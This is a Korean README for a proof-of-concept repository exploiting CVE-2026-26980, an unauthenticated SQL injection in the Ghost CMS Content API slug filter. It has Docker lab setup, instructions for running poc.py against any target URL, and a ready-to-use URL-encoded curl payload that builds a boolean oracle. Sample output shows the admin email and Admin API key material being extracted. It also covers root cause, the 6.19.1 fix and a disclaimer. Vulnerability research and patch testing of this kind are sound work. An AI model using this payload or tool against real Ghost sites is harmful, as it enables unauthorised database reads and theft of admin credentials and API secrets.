
TryGhost Ghost CMS Content API slug 필터의 인증되지 않은 SQL 인젝션을 시연하고, 불리언 오라클을 통해 데이터베이스 값을 추출하는 Python PoC 및 Docker 실습 환경입니다.
★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL Injection PoC ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980은 TryGhost Ghost CMS Content API의 인증되지 않은 SQL Injection 취약점입니다. 취약한 경로는 slug:[...] 정렬이 처리될 때 공개 Content API 필터 처리 로직을 통해 도달할 수 있습니다.
이 PoC는 통제된 Ghost 6.19.0 랩을 구축하고, 공개 Content API 요청이 어떻게 boolean 기반 데이터베이스 읽기 프리미티브로 전환될 수 있는지 보여줍니다.
| 제품 | 영향을 받는 버전 | 수정된 버전 | 취약점 유형 |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | SQL Injection |
랩 환경은 Ghost 6.19.0을 사용합니다.
Docker를 사용하여 취약한 Ghost CMS 환경을 빌드하고 실행합니다:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
예시:
http://127.0.0.1:9102/
랩은 포트 9102에서 실제 취약한 Ghost 6.19.0 인스턴스를 실행합니다.
랩 Content API 키는 다음과 같습니다:
EQSTLab299
CVE-2026-26980 : TryGhost Ghost CMS Content API SQL Injection 취약점
description: 6.19.1 이전의 TryGhost Ghost CMS의 SQL injection 취약점은 공개 Content API 키에 접근할 수 있는 인증되지 않은 공격자가 Content API 필터 파라미터를 통해 임의의 데이터베이스 값을 읽을 수 있도록 합니다. 이 문제는 slug:[...] 필터 정렬 경로에서 발생하며, 사용자가 제어하는 slug 값이 적절한 파라미터 바인딩 없이 원시 SQL에 삽입됩니다.
Ghost Content API 키는 설계상 테마, 검색, 포털 또는 프론트엔드 JavaScript를 통해 브라우저에 일반적으로 노출됩니다. 이는 취약한 경로가 Ghost Admin 인증 없이 도달 가능할 수 있음을 의미합니다.
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
선택적 사용자 지정 Content API 키:
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
[Target] 예시: http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
공개 PoC는 랩에 안전한 데이터베이스 메타데이터와 Ghost API 키 자료를 추출하여 데이터베이스 읽기 영향을 보여줍니다. 챌린지 플래그는 출력하지 않습니다.
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
취약한 로직은 slug:[...] 필터에 대한 Ghost의 Content API 입력 직렬화 경로에 존재합니다. Ghost는 리스트 스타일 slug 필터를 지원하며, 요청된 slug 순서를 유지하기 위해 ORDER BY CASE 표현식을 생성합니다.
취약한 버전에서는 사용자가 제어하는 slug 값이 SQL 조각에 삽입됩니다. 단순화된 취약 패턴은 다음과 같습니다:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
slug는 공격자가 제어하며 파라미터 바인딩 없이 SQL 문자열에 삽입되므로, 조작된 Content API 필터는 의도된 비교를 벗어나 추가 SQL 로직을 주입할 수 있습니다.
랩 PoC는 두 개의 공개 태그 bacon과 chorizo를 관찰 가능한 boolean 오라클로 사용합니다.
bacon이 먼저 정렬됩니다.chorizo가 먼저 정렬됩니다.서로 다른 SQL 조건으로 이 테스트를 반복함으로써, PoC는 데이터베이스 값을 한 문자씩 추론할 수 있습니다.
curl을 사용한 boolean 오라클 확인:
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
근본 원인은 사용자가 제어하는 slug 값으로부터 SQL ORDER BY CASE 조각을 안전하지 않게 구성하는 것입니다. 취약한 코드는 Content API 응답 순서를 유지하려고 시도하지만, 파싱된 NQL 필터 값을 신뢰할 수 있는 SQL 텍스트로 취급합니다.
견고한 수정은 다음을 수행해야 합니다:
Ghost는 6.19.1에서 원시 보간을 파라미터화된 쿼리 바인딩으로 대체하여 이 문제를 수정했습니다.
이는 CWE-89: SQL 명령에 사용되는 특수 요소의 부적절한 중화 문제입니다.
Ghost Content API는 의도적으로 공개되어 있으므로, 이 취약점은 인증되지 않은 공격자가 공개 콘텐츠 엔드포인트를 통해 데이터베이스 읽기 프리미티브를 생성할 수 있도록 합니다. 데이터베이스 내용과 권한에 따라 공격자는 다음을 수행할 수 있습니다:
+-------------------------------------------+
| Remote Attacker |
+-------------------------------------------+
|
| GET /ghost/api/content/tags/
| filter = slug:[<SQLi payload>,chorizo,bacon]
v
+-------------------------------------------+
| Ghost Public Content API |
+-------------------------------------------+
|
| Unsafe slug order SQL construction
v
+-------------------------------------------+
| ORDER BY CASE SQL Injection |
+-------------------------------------------+
|
| Boolean difference in tag ordering
v
+-------------------------------------------+
| Unauthenticated DB Read |
+-------------------------------------------+
이 랩은 최소한의 모의 서버가 아닌 실제 취약한 Ghost 6.19.0 인스턴스를 실행합니다.
랩은 다음을 시드합니다:
EQSTLab299bacon, chorizo공개 poc.py는 데모 영상과 공개 라이트업을 위해 설계되었습니다. 챌린지 플래그를 출력하지 않고 SQL injection 영향을 보여줍니다.
docker stop cve-2026-26980
이 저장소는 CVE-2026-26980에 대한 SQL Injection 익스플로잇을 의도한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고, 어쩌면 자신의 애플리케이션을 테스트할 수 있도록 돕는 것입니다.
https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97
https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91
https://github.com/TryGhost/Ghost/releases/tag/v6.19.1
https://nvd.nist.gov/vuln/detail/CVE-2026-26980